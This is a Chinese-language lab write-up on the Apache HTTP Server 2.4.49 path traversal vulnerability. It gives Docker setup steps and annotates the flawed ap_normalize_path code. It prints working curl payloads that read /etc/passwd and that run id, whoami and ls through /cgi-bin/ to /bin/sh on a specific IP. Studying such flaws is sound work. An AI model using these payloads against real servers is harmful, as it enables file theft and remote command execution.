公共网关接口(Common Gateway Interface,CGI)是一个Web服务器主机提供信息服务的标准接口(可以想象成银行提供服务的柜台窗口)。通过CGI接口,Web服务器就能够获取客户端提交的信息,转交给服务器端的CGI程序进行处理,最后返回结果给客户端。简单的说,cgi就是一个接口。
CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。

curl 是常用的命令行工具,用来请求 Web 服务器。curl是客户端(client)的URL工具的意思。
可以使curl完全按照URL中提供的路径发送,而不删除任何点段。
-d或–data
用于发送 POST 请求的数据体。
-v
输出通信的整个过程,用于调试。

Apache HTTP Server 2.4.49 路径穿越漏洞
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
Require all granted。(默认情况下是不允许的)攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
编译及运行
docker-compose build
docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到Apache默认的It works!页面。

使用如下CURL命令来发送Payload(注意其中的/icons/必须是一个存在且可访问的目录)
curl -v --path-as-is http://20.210.90.167:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
// 这里可以使用.%2e也可以使用%2e%2e
url解码后
curl -v --path-as-is http://20.210.90.167:8080/icons/../../../../etc/passwd
成功读取到/etc/passwd,说明存在路径穿越。


漏洞原理
Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径做过滤的时候没有过滤干净。
函数原理:遍历路径字符串,对每一位,先进行url解码,然后检测当前位和下一位的组合是不是..
AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
......
// 遍历路径字符串,一边做url解码一边检测 '..',出现漏洞。
while (path[l] != '\0') {
// 这一段是在做URL解码,检测到当前位为‘%’,接下来两位为十六进制数字就进入if
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) && path[l] == '%' && apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]); // 将url编码转换为字符(16进制转char)
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
l += 2;
path[l] = c;
}
}
......
// 如果path[0]不是斜杠,且不是* 或者空串,w就会置为0。
if (w == 0 || IS_SLASH(path[w - 1])) {
......
//如果检测到点号
if (path[l] == '.') {
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
// 如果点号的下一个还是点号,就要删一点了
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
}
path[w++] = path[l++];
}
path[w] = '\0';
return ret;
}
curl -v --data "echo;id" http://20.210.90.167:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

curl -v --data "echo;whoami" http://20.210.90.167:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

curl -v --data "echo;ls /" http://20.210.90.167:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh


